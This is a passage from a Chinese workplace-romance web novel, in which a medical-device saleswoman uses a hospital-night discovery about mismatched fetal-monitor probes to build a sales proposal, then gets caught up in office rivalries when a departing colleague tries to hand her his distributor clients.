辛熙被他逗得直笑,半天合不拢嘴,有了袁新河的加入,他们这桌的笑声就没再断过。除了辛熙忽然问起吴行时,气氛有过三秒钟的尴尬。
结束时已经快十二点,因为都计划了要喝酒,所以都没开车。辛熙知道他们三个人一起住在江准租的公寓里,所以她建议自己打一个车,他们三个人一个车。
江准并不同意,“太晚了,你一个女生不安全,就打一个车,我们仨送完你再回去”。
“可咱们离得太远了,一来一回,估计得俩小时。”
“我坚持”,江准喝了点酒,语气里有少见的固执。
肖楠将没有眼力见的袁新河拉住,落后他们几步,“你今儿怎么来了?”
袁新河没瞧懂意思,“准哥让我来的呀。”
肖楠将投落到前面二人身上的目光转开,“知道让你来干嘛的吗?”
“喝酒啊”,袁新河神经单一,根本不会多想,江准一个信息发给他,叫他速来,他就马不停蹄地来了。
肖楠摇着头,“算了,你也算歪打正着,圆满完成任务了吧。”
“什么任务?”
袁新河提高了点声量,吸引了前面两个人回头看他门,肖楠圆着场,“没事,没事,我俩聊工作呢。”
到出租屋楼下了,辛熙同肖楠拥抱告别,袁新河也凑上去,闹着讨要抱抱,辛熙只得虚虚在他的背后轻轻拍了下,换到旁边的江准,他静静地站在那里,寒冷的夜空下显出几分清冷孤寂,辛熙心里没由来的跟着酸一下,于是踮起脚,非常哥们气地拥抱了他,“快点回去吧,天太冷了。”
身上覆盖过来的温暖只有一瞬间,江准抬起的双手在黑暗里,没有半点着陆点。肖楠看在眼里,等辛熙的背影在楼道处消失,她才非常重地叹了口气。
袁新河不明所以,“你叹什么气啊,我奶说叹多了气会没有财运的。”
肖楠一掌拍在他的后背,“就你话多。”
“本来就是”,袁新河不服气,跟在肖楠旁边碎碎念,“你没财运,会影响大家的好吧。我说吴行走了后,咱公司的业务流水怎么这么差。”
“你再啰嗦”,肖楠举起拳头威胁。
回去的车上,袁新河倒头就睡,江准一言不发,肖楠坐在中间心里烦躁,没忍住,试探着问他:“准哥,辛熙的男朋友,你在哪儿见的呀?我都刚才才知道呢。”
江准依然一动不动地看着窗外模糊的轮廓,就像他白天站在楼下看到的矗立在露台的挺拔身影,脸上的苦笑并不明显,“今天是她叫你来的吧?”
“嗯,我听她声音有点低落,就过来看看。”
“挺好的。”
“我们是不是不应该来?”她说的我们,自然是指自己和袁新河。
江准终于回头看肖楠,这个动作遮去了窗户上的大半亮光,肖楠只能看到光束从他的左半边脸上闪过,却无法辨认他是否扯动唇角露了个笑脸,他说:“说什么傻话呢。她和男朋友吵了架,心情不好,咱们作为朋友,就是应该多陪陪她啊。”所以他才专门叫了善于活跃气氛的袁新河来。
“那你今天见黎芃顺利吗?”
江准注意到了肖楠在称呼上的更改,但并没有责怪她的不礼貌,只是说:“再等等吧。吴行带走的客户,我们一定可以再争取回来。”
“嗯”,肖楠毫不怀疑。
出租屋的露台上,姜渠被楼下的好友分别场景吸引,年轻人的情绪大开大合,总是特别容易引起人的共鸣。
徐进“喂”了两声,“老姜,我跟你说的,你听见没有?元姨知道你回国了,立马也定了机票,明天到,佟歆亚也一起,哦,施琪和我也一起回了。”
“知道了。这两天辛苦你和施琪了。”
“哥儿们间不兴这个”,徐进笑得爽朗,八卦地问到:“你这千里追爱,姑娘是不是特感动特惊喜?这两天,日子美得很吧?”
姜渠并不理会他的调侃,换了只耳朵接听,“你那天问我的问题,我可以回答你了。”
“你说,洗耳恭听。”
“她确实和我想象中的不一样,准确地说,她永远在推翻我对她产生的一些既定认知。例如初遇时我认为她是热情奔放的,我喜欢她的热烈,哪怕她不辞而别。可她在工作中却是规规矩矩,一板一眼地,甚至还老实巴交地经常背锅。”
“嗯,那这不是你老姜会喜欢的性格”,徐进依照自己对老友多年的了解,作出判断。优秀的人其实很难被平庸打动,尤其是他们这样依靠自身能力完成阶级提升的人。平庸意味着无趣。
“是的,如果仅限于此,我只会觉得这人又傻又可怜。”
“别告诉我,你的行为动机只是基于你的怜悯心”,这显然不合情理。
姜渠看着楼下的人挨个儿地拥抱,黑眸中跳动的火焰沉静下来,对着长夜吁了口气,轻笑,“可怎么办呢?人凭着一股劲儿,竟也给自己扯开了一条路,还学了些吆五喝六的招儿。”
徐进听他话里难得的轻佻,反而格外认真地问他,“你之前不是说,她只是想跟你玩玩?”
“或许吧”,他没有答案,“但她想玩,就随她玩吧”,他总有办法能让她
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“玩”得更久。
徐进从中辨析出了不一样的意味,惋惜地叹到,“天呐,咱们的佟大小姐这回是彻底出局了。”
徐进难以置信,再次确认,“真动心了?”
“不可否认。”
辛熙打开门进屋,室内一片漆黑,明明是已经非常习惯的生活场景,就因为那个男人在这里待了一晚,就不能再承受这种孤寂了。她仿若失去力气般坐到换鞋凳上,曲腿,支着脑袋,眼眶酸酸涩涩地不争气,一边哭又一边嫌弃自己矫情,“还摔门?这种烂脾气谁爱受谁受,反正我不受。有什么好了不起的,一点儿都不知道尊重人。喝点酒怎么了,见个朋友怎么了,我又没背着去见什么前女友......”
门厅的灯忽然大亮,被眼泪鼻涕糊了一脸的辛熙就这么毫无征兆地抬起头,狼狈得惨不忍睹。猝不及防地,低泣变成抽泣,“你,你不是摔门走了吗?”
姜渠确认自己当时的动作应该谈不上一个“摔”字,解释说:“我只是下去透口气,回来的时候,你已经走了。”
“那你怎么进来的?”
“我拿了备用钥匙。”
“哦”,辛熙慌忙站起身,让他看到自己这种酒后失态、妆容稀乱的样子,应该会大扣分吧,“真是抱歉哦,让你看到醉鬼的窘态。”
“嗯。”
“嗯?”辛熙的火气蹭地燃起,“那你早些回酒店吧,不送了”,一边说一边换了拖鞋,往洗手间去。
姜渠跟在其身后,莫名地来了句,“我接受你的道歉。”
“什么?”辛熙交叉着双臂回头过,“刚才的‘抱歉’二字应该不难理解为一个礼貌用语,甚至有略带点儿讽刺意味吧?”
姜渠耸肩否认,“‘道歉’的意思是承认自己确实有不适当的言或行,你承认了,我接受。”
辛熙被这逻辑搅晕,她认为这是酒精造成了思维短路,说出的话被迫有些无理取闹,“我没有错,我哪里有错,是你发脾气,然后摔门走了。”
“首先,我是打开门,然后出去了,并不存在你说的摔门走了。我承认我有些情绪,所以我想先自己消化掉,可等我回来的时候,你已经走了,至于有没有摔门,我就不确定了。”
“那你有情绪,就是你不对。你也要给我道歉。”
“好吧。如果一个男朋友,因为女朋友深夜去见自己的某位追求者而有些吃味,产生了不良情绪就需要道歉的话......”
“停,你这里面还有一个错,就是胡乱扣帽子”,辛熙庆幸自己的理智回归了一半,“我说了,是普通朋友,而且不止一位,更不限于异性。”
姜渠自然不信。他看到过那个男人站在楼下,痴望着,那副神情,作为男人他很难不懂,随后他看到了他发来的邀约信息,他几乎没迟疑地回了俩字“没空”。
“你当他是普通朋友,但你有信心,他也把你当普通朋友吗?”
“当然......但那不重要,重点是,你的这种情绪不是我的责任,你得给我道歉。”
两个人站在逼仄的过道,互不相让。
忽然门外传来几声着急的叩门声,是隔壁的王哥,带着歉意,“小辛,小辛啊,你覃姐忽然发作,可能要生了,你能帮忙送她去医院吗?”虽然他们做足了准备,但离预产期还有一周,老婆突然深夜发作,还是让这个男人慌了神。
辛熙赶紧打开门,“行,行啊,可,可我喝了点酒,我......”
身后传来一道镇定的声音,“孕妇现在还可以自己走吗?”
“可以,还可以”,王哥飞速地点头。
“那就好”,姜渠从托盘里取出车钥匙,“我去开车,你们去把孕妇扶下楼,慢慢地走,别着急。该带的待产包都带上,资料什么的也别忘了。”
67. 第 67 章
兵荒马乱的一天,终结在深夜的病房里,肃穆、宁静,辛熙看着被宫缩折腾得满头大汗的覃姐,想起她孕晚期时提着老家带上来了的母鸡健步如飞的样子,非常心疼。
余光瞥见护士正在拍打床头的胎心监护仪,上面的波形像被一只无形的画笔在胡乱涂鸦,“又乱报警”,护士自顾自地抱怨,但她似乎也习以为常,带着无奈撕下了覃姐腹部的监护贴片。
一旁沉默的姜渠,提醒了一句,“她应该是横位妊娠,需要使用DF-3S型蝶式探头,可以对接触面积减少60%的压迫。”
护士狐疑地看了他一眼,正好值班医生走进来,瞧了一眼,“同行?”随后指示护士去换专用探头。
姜渠摇头否认。
蝶式探头吸附成功的瞬间,中央监护屏上的宫缩曲线呈现出怪异的双峰波,值班医生的神情立马严肃起来,护士紧跟着拉起帘子,“别这么多人挤在这儿,留老公一人在就行。”
辛熙的心被仪器的蜂鸣声吹到了迎风口,冷簌簌地,出去之前目光几乎是本能地地扫过设备型号,和搁置在旁的探头。
没过多久,覃姐被推进了产房。
王哥劝他们先回去休息,等天亮的时候,他们的父母就会过来了。辛熙看着王哥憔悴的样子,于心不忍,担心有个什么急事无人照应。等姜渠打完电话回来,辛熙主动和他商量,“要不你先回去休息呢?”
“你呢?”
“我得在这儿陪着。”
姜渠甩身坐到了蓝色的候诊椅上,抱着双臂,长腿交叉,一脸无所谓,“不用。咱们的架还没吵完。”
辛熙忍不住瞪了他一眼,但现在也没心思管他,隔着点距离坐下来,脑子里想着事情,不知不觉地,竟眯着了一会儿,醒来时,自己却是靠在姜渠的肩膀上的。
辛熙对上了王哥饱含深意的笑脸,赶紧坐直身子。这一羞一恼,瞌睡倒是真没了。
寂静的长廊里,她开始滑动手机的操作界面,将先前的一点念头付诸行动。拇指和食指熟练地操控着,在超声探头的资料包里找到了匹配对照表,翻找了好久,终于在一个不起眼的角落,看到记忆里的警示句:三代主机使用二代探头,灵敏度会降低三成。这是行业内的共识,她不认为医院的人会不知道。随后她点开了医院的官网,心头跳动的火苗指引着,她找到了早已终结的招标公告。
果然......
夜已入深,她的脑子却愈发清明,辛熙点开了手机里的工作台,在内部资料中寻找蛛丝马迹。这样大体量的标,麦高不可能不参与,但售后这边的合作,她的权限却只能看到她前不久以苛刻条件卖过的一个小备件。
辛熙在这时候想起了高桥的那句“要搞定你的老板”,他掌握着更多更全面的资源,当然,其中也包括各种内外部的资讯。
犹豫再三,辛熙主动挪回了姜渠身边,戳了戳他,叫他,“姜总~”
姜渠略显疲惫地抬眼,眼睫扇动,半梦半醒。
“姜总,或许,可以用你的权限帮我查点资料吗?”她好言恳求。
姜渠闭目重新靠了回去,随手将包里的手机拿出来递给她,报了串密码。辛熙接过手机,大晚上的,也确实不好劳烦人家查。
时间在悄无声息地走,辛熙却越来越亢奋,她从姜渠的手机里找到了麦高之前为市妇幼保健院做的投标资料,佐证了自己的猜测。
她不得不选择叫醒姜渠了,她太兴奋了,脑子里已经有了清晰的谈判突破点,她等不及想听到他的建议,当然,如果是意见,她也能接受。
带着一点打扰人美梦的愧疚和一大部分的雀跃,辛熙再次戳醒了他,将手机递到他眼睛前,“姜总,姜总,看看这个?”
“嗯......”
“姜渠,咱先不睡了,好不好?”
姜渠终于睁开眼看她,待看清被她放大的文字部分时,几乎自动触发清醒模式,“你也看到了?”
“嗯,护士一开始使用的探头应该不太适配,所以脱落了几次。我之前在签那个备件合同的时候,做过调研,这家医院在津南本地的口碑很好,很多人都会选择这里生孩子,医院为了承接更多的病人量,在前年公开招标,升级了一批监护仪,就这个”,辛熙指着手机上面的文件修改记录,得意地强调,“可我对比了我们参加招投标时拿到的文件,发现他们一开始招标的时候要求能兼容二代的探头,可在实际采购时删除了这则条款。”
姜渠警惕地朝四周看了看,还好只有王哥一人在产房外焦急徘徊,他站起身,将辛熙拉起来,对王哥说:“我和辛熙出去买点吃的。”
医院对面的24小时便利店里,辛熙端着自己刚买的两杯热可可,讨好式地挂着笑,坐到姜渠身边,“姜总,请您喝。”
姜渠皱着眉,对面前这杯浓稠的棕咖色液体露出嫌弃,辛熙却以为他在意那句称呼,忙改了口,“姜渠”“姜渠”地叫了两声。
姜渠勉强喝了一口,问她:“你刚才说的情况如果属实,你想怎么做?”
“如果他们真的涉嫌在招标中故意删除兼容性条款的话,那我们......”
“不行”,姜渠没听她说完,就坚决否定了。
“为什么不行?他们这样是涉嫌为特定供应商铺路。”
姜渠解释说:“第一,事情已经过去太久,没有追溯的意义;第二,当时主持这场招标会的主要责任人已经因为其他不当行为在去年予以了开除处分。”
“你怎么知道这些?”话刚问出口就想起他从病房出来后打的那通电话,估计就是在问这事,老板们总归有比自己更高效准确的信息渠道,辛熙懊丧地接受现实,“所以,如果我现在提起这个事,只会被认为是给医院找事儿,反而会得罪医院的现任领导们,甚至麦高要再在今后想开展新的业务,就更不肯可能了。”没有一个甲方会允许一个威胁自己的乙方存在,即便她可能只是为了创造一个合作机会。
便利店的玻璃墙上投射出两个人的影子,世界万籁俱寂,连营业员都在打着盹儿。他们就像是这世界的唯一主演,只有他们行动,这个世界才会活起来。
姜渠逗她,捏着她的耳垂问,“咱的架还吵吗?”
“现在没空”,辛熙打掉他的手,并不死心,“你应该也注意到了吧,他们的探头标签,他们错将探头归类为耗材了,这在年终审计的时候可能导致出现重大错报风险,对不对?”
“是”,姜渠可没心思和她谈工作,“但女朋友,今天就非得这么有事业心吗?”
辛熙从对手机的操作上分心回答,“事业心的这个标签,有时候是恭维人,有时候是讽刺人。但女朋友,不需要恭维,不能被讽刺!”
姜渠哂笑一声,从他的角度看过去,她的唇因为认真而微微用力抿着,呈现出一种坚毅,这似乎
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又是他不曾见过的一面,他想起自己初入职场时那些殚精竭虑的日子,神色正经了不少,“你知道张鑫为什么不愿意做这家医院的业务吗?”
“钱少事多?”这是她听来的缘由,但辛熙只信了一半,“但看他们的营业额,业务体量不会少。”
“这家新上任的葛院长,技术出身,清正、较真,张鑫做客户关系的那一套在他那儿行不通。”
“所以......葛院长需要的是......真正有价值的服务”,辛熙福至心灵,敏捷捕捉,“解决麻烦,创造效益”。
辛熙快速地在资料包中搜索,“看护士今天的操作,对探头不适配带来的麻烦已经忍无可忍了,如果我能提供三代专用的探头试用,她们会不会卖我个人情,让我见上院长?”她头也没抬地继续说:“我卖备件的时候只和设备科室主任打过交道,嗯,很难突破。”那个设备科主任已经快退休了,秉持着少做少错、不做不错的原则,除了上头压下来的任务,从来不给自己找事。
“然后呢?”
“虽然前任的违规操作,现任院长没有责任,但II类设备误作耗材管理,也是重大过失,如果我能说服医院和我们签署多年期的维保协议,这批探头是不是可以转为融资租赁资产?”这样,就算为医院排除了一个潜在的风险。
“只是解决这个麻烦的话,很多乙方都可以做到。我不认为葛院长会被说动”,姜渠提醒她,“你给他提供的方案里还需要产出更大的价值,思维也可以不局限于普通的维保服务。麦高还有其他的,例如新款的智能蝶式探头。”
这就到了辛熙完全不懂的领域,她问:“可以再具体一些吗?”
“横位妊娠出现双峰波时剖宫产决策每延迟1分钟,新生儿窒息风险就会增加7%。而我们的新款探头,不单适配三代机,他所包含的多点传感功能比旧款的DF-3S做到早十分钟预警。”
“也就是说,如果更换成新款智能探头,这类产妇可以缩短住院日,为医院创造单病例医保结余。”
“聪明”,姜渠露出赞赏的眼光,像拍西瓜一样拍了下她的小脑袋瓜,“何耀丹在做的解决方案模型,技术全面且领先,你可以多用用。”
辛熙没有再回答,继续回到浩瀚的资料库中埋头苦干。
天边开始放亮的时候,城市开始苏醒,辛熙在方案的最后加入了智能云锦系统,解决耦合剂余量的监测问题,并随之写下了这个云锦系统的广告语:生命初啼,云端守望。
医院里的王哥打来电话,覃姐生了,母子平安。在这一刻,一个崭新的生命被他们欢迎着,来到在这个世界上。
辛熙看着已经爬在桌面上睡着的姜渠,侧脸嘟起来的肉,让他难得地显着孩子气。辛熙凑过去,在他耳边轻轻地告诉了他这个好消息。
姜渠没有听清,轻咛了一声,“再睡会儿。”
可是便利店已经迎来了它最早的一批客人,辛熙不得不把他叫醒,“回家睡吧。”
姜渠坐起身,看了眼时间,略显遗憾,“可惜,我早上得飞深圳,没时间回去睡了。”
“那你怎么不早说?昨晚你就该自己先回去睡的”,辛熙一边说一边收拾起东西。
“我的睡,和你的睡,意思好像不一样”,姜渠恢复了精神头,目光盯得人脸红。
辛熙推开他,佯装生气,“还在吵架的男女,没有那种睡!”
68. 第 68 章
辛熙为市妇幼保健院的单子在津南忙活了很久,葛院长正如姜渠所描述的那样注重专业性,这不得不又让她熬了几个大夜,才让自己说起中间那些生涩难懂的专业词汇时有点底气。
在她将最终的商定的方案递交到院办,等待过会的时间段里,她“被”通知到了部门内的重大变革:何耀丹将会lead一个全新的team。
这并不让人意外!在何耀丹升为高级经理的时候,所有人都预料到了她接下来会晋升管理岗。可市场盘子只有那么大,base京北的经理已经有两个,一个负责直销的赵志远,一个负责分销的李元,那何耀丹领导的新团队势必要从他们二人手上分糖吃。
人事通知出来的那天,北区的小群里炸开了锅。
辛熙接到卢湘电话的时候,她刚把买来的羊绒月子服套装送给了覃姐,王哥本来要留她吃饭,但她婉拒了,这个时候蹭饭是在给人家制造麻烦。
辛熙回到自己屋子才把电话接起来,卢湘开口就是一通抱怨,“群里的消息,你都看到了吧?”
“嗯”,辛熙知道她的目的并不是确认自己得到消息,她只是急需要在一个相对安全又相对有关联的人面前,表达她站在李元角度的不满,以抵消掉自己在群里附和的那句“收到”而产出的不甘、愧疚。作为一个知道他俩关系,又处事老实可靠的人,辛熙就是最好的人选。
卢湘非常的愤怒,“直分销合并管理,懂不懂市场啊。李元都跟我说了,他手上的代理商没一个不骂的。到时候就是左手打右手,自己人搞得乌烟瘴气的。”
辛熙无意识地抿起嘴,直分销合并的利弊还是得看策略者的布局,做不好就是一团乱,互相牵扯;做好了却是1+1大于2的事情,既能互相制衡,又可以加速渠道下沉,抢占市场份额。
“也许师总已经考虑到这些,做了应对策略,只是还没公布吧?”辛熙不认为师尧是一个盲目的领导者,她相信姜渠的眼光。
卢湘却说,“他们就是为了捧何耀丹,谁不知道啊,何耀丹是老姜的人,师尧多会体贴上意啊。只不过,我们都以为是要把她提上来,干掉老赵的,没想到,人家野心更大,直分销都想占。”
“卢湘”,辛熙没忍住,语气微重,“这些都是揣测。”
“你怎么确定不是事实?”卢湘哼了一声,反问过来,“何耀丹转岗过来后,这一步步的,谁看不出来啊,都是老姜在保驾护航。我好几次看到她上了老姜的车,他们......”
辛熙出声打断,“湘湘,你跟我说这些,不合适。”
卢湘大概也意识到了自己越说越过分,尴尬地笑了两声,“我就是为老赵和李元不值,随便跟你唠唠,你听过就忘了呗。”
辛熙长吸了口气,心底堵着的情绪一半源于何耀丹受到的诽谤,一半源于她和姜渠的关联。真较真了去盘剥,自己当初不也狭隘地将何耀丹和姜渠联系到一起过,所以她其实没有资格质疑卢湘的立场。
卢湘改口问她,“那你跟老赵还是她?”
“我么?”辛熙明白,这是个选边站的问题,但她讨厌这样的事情,她受雇于麦高,提供劳动资源获得报酬,并不是要专当谁手下的兵,“看公司安排吧。”
“老赵没找你聊吗?”
“嗯?”辛熙表示不知。
卢湘一副意料之中的语气,“他们都在找底下的销售谈了,都想把能力强的销售留在自己团队里。”
辛熙撒目远眺,她在这里待了快有半年,熟悉的街景,有来有往的邻居,如今走到每家医院,都能说得上话的客户,也算是有进步的吧。看着自己熟悉的环境,原以为自己已经算是个上了桌面的销售,但现在看来,在别人眼里,她还并不是个可以上阵杀敌的兵。
她不想表达的忠诚,恰恰,也不需要她的贡献。
春节长假前,辛熙回了一趟京北。像往常一样,她是先去的公司。市妇幼的单子拟定在节后采购,她将需求提交了系统。
赵志远来得比往常早,看见辛熙后,将她单独叫到了会议室。前面的寒暄很短促,这让辛熙认为他比以往里少了很多从容,也许是竞争对手让他有了危机感吧。
赵志远盯向她,先表扬了她在市妇幼的多年期合同上所做的努力,他说:“你当初要转销售时,我就很支持你,年轻人嘛,有冲劲是好事,我果然没有看错人。你看你做得多好。当时你们几个人一起竞岗时,就只有我向姜总力推你,可惜啊,人微言轻,也没帮到你多少。”
“谢谢赵经理的认可。”
赵志远见她的反应很淡,又继续加码,“你现在手里那些客户,我好说歹说,姜总才同意分给你,张鑫那儿意见大,我也硬压着,他到现在还对我有意见。”
辛熙的表情里终于有了波动,她还以为是姜渠偏颇,要分给她的,导致她接手后一直压力大,生怕出不了单,给他丢脸。
赵志远趁机袒露,挂着一张失落的表情,“公司这次的改制你也知道,咱们京津冀的兄弟姐妹我是一个都舍不得,但没办法,政策就这样,上面压过来,我们只能听命。”
辛熙心里恹恹,稍显不耐,“赵经理,你有话直说吧。”
谈话接近尾声的时候,会议室外忽然热闹起来,姜渠和师尧并排走过来,施琪和何耀丹稍稍落在后面,同京津冀的部分销售聊天,而张鑫,赫然列于其中。
张鑫选择了何耀丹?这个认识,让辛熙对刚才的谈话有了另一层的理解,原来,她只是赵志远的一个退而求其次,能攀上这个“次”多半还得感谢市妇幼的合同。
赵志远拉了拉辛熙,起身走出去,同他们打招呼,所有人都是职场的老手,矛盾和冲突从来都不会放在表面。
“嗨,辛熙,好久不见,越来越靓咯。”
“哈喽,施琪姐,好久不见,你从美国回来啦。”
施琪大大咧咧地将她往怀里一 搂,“都回来半个月啦,老没在公司见到你呢?”
“最近一段时间都津南呢。”
“那你中午的时间留给我,我们一起吃饭啊。”
“好呀”,辛熙看了眼会议室里坐满的人,赶紧告辞,“那我先去开会了。”
师尧接手北区后,姜渠彻底放了手,是以这个会议他并不参加。可施琪和辛熙讲小话的时候,他也没走,就拿着手机在一旁,看似处理公事。
辛熙目不斜视地从他身边绕过,往会议室去,她感觉姜渠的目光从手机上移开又凝在自己的身上,滚烫灼热,让她下意识地将背绷得更直,以作防御,可耳边忽然一声轻不可闻的笑却毫不费力地将她的耳廓染成仲夏傍晚的云霞。
辛熙坐到位置上,立马拿出手机,质问始作俑者:你笑什么?
姜渠的回答像是早就准备好一样,一秒都不带耽误地回过来:我什么都没做,你脸红什么?
辛熙发了几个翻
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白眼的表情过去:你那叫什么都没做?你站那儿干嘛,GM这么闲的么?
姜渠回她:你知不知道你刚才什么样?
辛熙:??
姜渠:欲盖弥彰、掩耳盗铃、此地无银三百两
辛熙心中警铃大震:真的?
姜渠脑海中浮现出她刚才的样子,咧着嘴,对所有人都笑脸盈盈地,偏就略过他,眼神不小心碰触一下都如临大敌,在场但凡多个心思敏捷的,都很难不怀疑两个人之间有猫腻。
姜渠十分笃定地回她:你上学的时候应该没有胆子早恋吧。
辛熙可傲娇了:我有!
姜渠问:坚持了几天?
辛熙想起了自己那个连手都没来得及牵就夭折的青春往事,暗自叹气,摁灭手机,不再理会。
这天的会议时间很短,已经定下来的策略不会再改,剩下的只是执行问题。师尧公布了新的利益协同机制,在直销团队中引入分销业务提成,避免彼此抢单内耗。
会议室内的气氛诡异,辛熙老实安坐在自己的位置,随便前头的人明枪暗箭地抢夺、辩驳或是指桑骂槐。选择做销售的心一直很坚定,但在这样的场合,她还是难免失神,怀疑自己。看着平日里温风和煦的同事为了一个单子吵得面红耳赤,她还是觉得难堪,仿佛从他们身上反观到了自己的变样。
忽然,矛盾的中心好像调转了,大家纷纷看向她,辛熙不解,从零碎的字眼中收集信息,哦,是简运说了关于自己的话。他说,他要将他手上的客户交给辛熙!
简运要离职了,他一直在李元的手下,业绩排名靠前,有几家他签回来的渠道商,为李元的团队贡献了超过30%的业绩。
简运从始至终并没有看她,但他语气坚定地对师尧说:“我手上的客户要么给她,要么我带走。”
师尧还没说话,李元已经坐不住了,指着简运,“你以为那些客户是你的私人资产吗?你正常走离职,渠道资源是属于公司的。”
“是吗?”简运流露出了他无赖的一面,“都是做销售的,大家都懂,这几家客户认的是公司还是个人,李经理不清楚吗?”
辛熙最先惊讶于简运的自信笃定,虽然他早于她做销售,但她没想到,简运已经有了这样的能耐。所有人的目光都聚焦到她的身上,大概,他们也惊讶于老实的辛熙什么时候有了这样的能耐,能够让简运在离职前把客户资源都给她。看来,他俩的‘奸’情不假。
辛熙有些木讷地成为关注点,她毫不知情、毫无准备,当然,也没人需要她发表意见,因为她是这场争执的既得利益者,她怎么可能持否定意思呢?
“简运,你别太过份,真以为离了麦高,那几家公司还把你当回事儿。”
简运大概是想破罐子破摔了,两手一摊,颇为高傲,“当然!他们都是我家里的关系。”
会议室里发出一阵低哑的哗然,大概谁都没料想过成天和他们喝酒打浑吃路边摊的简运会有了不得的家庭背景。
辛熙觉得落在自己身上的目光更深了。
师尧敲了敲桌子,“好了,这事下来再谈。”
简运看了眼一言不发的辛熙,这让他想起了她那天对自己的鞭笞,那时她的,比会议室里这种乖巧顺从的样子更鲜活。原来,她一直看不上自己,这让他非常受挫。
简运突然站起身,“你们要定不下来的话,我就去找姜总,姜总会同意的。”
69. 第 69 章
这大概是辛熙进麦高后见过的最慌乱的场面了。有人在拉简运,有人在煽风点火,有人在隔岸观看。
姜渠听到动静,从办公室里出来,喝问:“怎么回事?”
他一出现场面立马安静下来。辛熙这时也终于挤到了简运身边,拉住他,“你能不能别发疯?”
姜渠的表情在见她出现的时候,降为冰点,可辛熙顾不上,因为简运完全不顾阻拦,冲到他面前,语气很冲,“姜总,我要辞职了,我自己手上的渠道资源是不是我想交给谁就交给谁?”
李元站出来指责他,“渠道商是和麦高签的代理协议,这不是你个人的供应商。”
姜渠微微勾着唇,目光极其锐利地扫过众人,看热闹的同事尖着耳朵不情不愿地散去。姜渠问他:“你想给谁?”
“辛熙”,简运果断而干脆。原本在姜渠的注视下气场全散,可提起辛熙,他的底气仿佛又回来了,“我要给辛熙。”
“那你要么?”姜渠问她,但动作上并没有任何的偏移,只是斜了几度角的目光,这让辛熙觉得,他的目光是种审判,“要了你接得住么?”
辛熙从来没有想过做渠道,对接医院的事务她才刚刚摸出了点门道,她更不知道简运在发什么大疯,闹这一场,究竟是想帮她还是要给她难堪。可姜渠话里的轻视让她难受,好像自己是个始作俑者,眼底一阵酸,她撇开眼强忍下去,应激般地反抗,“我要,姜总就给么?”
李元此时顾及不到其他,朝辛熙发火,“你什么意思,你俩商量好了的是吧?”
姜渠下意识地朝她走了半步,忽又停下来,朝师尧示意,“你先带着其他人开会。”
辛熙和简运跟着姜渠进了他的办公室。他刚坐下,周身凛冽的气息散发开来,将二人挡在一米开外。
“过来,坐下说”,语气倒是平平无异。
简运扯起嘴角,心里又想起什么,面上无畏地往姜渠对面一坐。辛熙埋头跟上,隔开点距离,接受姜渠的审视。
“说说吧,怎么想的?”
简运说话前目光掠过辛熙,一如他认识她时那般,安静地坐在一旁,让人觉得软乎好欺,可那天她骂自己样子,牙尖嘴利地,让他无力反驳。简运说:“我已经提交了离职申请,广奇、粤新、科雅、婕斯悦朗,这几家渠道商都是我自己找来的关系,我要求今后都交给辛熙来跟。”
姜渠眉目深沉,这几家近期贡献的业绩是都还不错,只是这个广奇嘛,他刚收到一封相关的举报信,“你们商量好的?”
简运挺身而出,“不是,是我个人的意思。”
“是么?”姜渠转向辛熙,再一次认真地问:“真想接?”
辛熙有过极短的反叛心理,但此时,她已经冷静下来,抛开人言可畏不谈,这件事对她也是弊大于利的,她很清楚,无论是麦高公司还是作为团队管理者的姜渠,都不会允许在规则制度之外被员工拿捏。
辛熙说:“我为麦高工作,一切听公司安排。”
姜渠的面色这才稍有缓和。
简运恨铁不成钢地看向她,“你傻吗?这几家渠道商在业内什么资质你知道吗?他们能为你提供的业绩有多少你算过吗?你知不知道,单靠你自己,要签回能吃下这么大体量的渠道商有多难?”
辛熙竖着眉瞪他,如果不是在公司,或者,没有姜渠在旁边看着,她真的很想再骂一骂他,脑子里成天不知道在想什么。
简运见她不理会,目光又回转到姜渠身上,莫名地笃定,“姜总,您应该是支持我的吧?”
姜渠眼神微压,读懂了他眼里对自己那点压在职级下的敌意从何而来,“你既然知道,就不应该愚蠢地到我面前来挑拨。”
简运心头凛然,被戳中心思,面露尴尬,却嘴硬到,“姜总说的意思,我不太明白。我只是想在离职前,帮辛熙一把。您也知道我们区现在的情况,三个经理都在给自己的团队抢人,辛熙目前只有津南的几家客户在手,合同总额加起来还没有河北随便的一家授权代理商多。你让她在团队里怎么立足?”
“简运!”辛熙几乎低吼出声,站起身,“这是我自己的事情,你能不能别管?你以为你这样是在帮我吗?”
简运气她不争,恼怒地同她对峙:“你和他在一起,不就是图他位高权重条件好吗?那你就争气一点啊,你就让他帮你啊,给你钱,给你砸资源,为你铺路,给你撑腰啊。为什么还要在团队里受欺负?他但凡表现出一丁点对你的偏帮,老赵他们也不至于这么对你。”
辛熙咬着牙,她拿这样的简运毫无办法,“我说了!这是我自己的事情!”
简运却摇摇头,转头盯住姜渠几近冰裂的脸,话越发地过分,“姜总,为什么何耀丹您都那么舍得力捧,怎么就对辛熙不顾不问的?哦~还是说,何耀丹才是正牌,辛熙根本就是……”
“简运!”
辛熙的话还没落地,姜渠就迅捷地一个挥拳,将后面难堪的字眼打回他的肚子里,“你应该先学会怎么跟你的老板说话!”
这一拳引起的动静很大,门外经过的同事恨不能贴在窗户上看,还是施琪及时赶来拉上了百叶窗。
简运被打倒在沙发上,不怒反笑,揉着自己腮帮子,对辛熙说:“你之前骂我的那些,都是男人的劣根性,你以为他就没有吗?那是因为你还没走到他的世界里去。你站在低处仰望他,自然看到的都是好的!”
姜渠又要再挥拳,被施琪眼疾手快地拉住,“别跟小孩子计较咯”。
辛熙站在那里一动不动,像被强行破壳的小鸡仔,尚未发育完全就不得不面对风暴。简运的这些话看似在为她,却字字句句傲慢无礼。
姜渠上前将她挡在背后,对简运说:“你是成年人,说话前要先过脑子!如果你再这么随意诬陷诽谤,我不介意请律师追究名誉损失。同时,我也告诉你,你刚才说的那几家渠道商,如果真跟你走了,明天就会被行业除名!”
简运并不怀疑他有这样的本事,所以他用这话威胁过李元,却没有用来威胁姜渠。
办公室外探听热闹的脚步声越来越多,辛熙知道不能再任他闹下去,于是对姜渠说:“可以让我和他单独谈谈吗?”
姜渠直接否了,“你和他还有什么可聊的?”
“可以吗?”她带了点祈求,将目光转向施琪,求助地问。
“可以的,可以”,施琪强拉着姜渠往外走,悄悄朝他竖起大拇指,“多少年没见你打架了,威风不减呐,但这是公司,要是被人告到global,咱还得被challenge。”他们倒不是怕,只是觉得太麻烦,global那头非常看重国内的业务,如果此时的GM闹出点负面新闻,恐怕会马上飞过来。施琪可不想再来一次global visit。
中午的午餐自然是没有和施琪吃的。
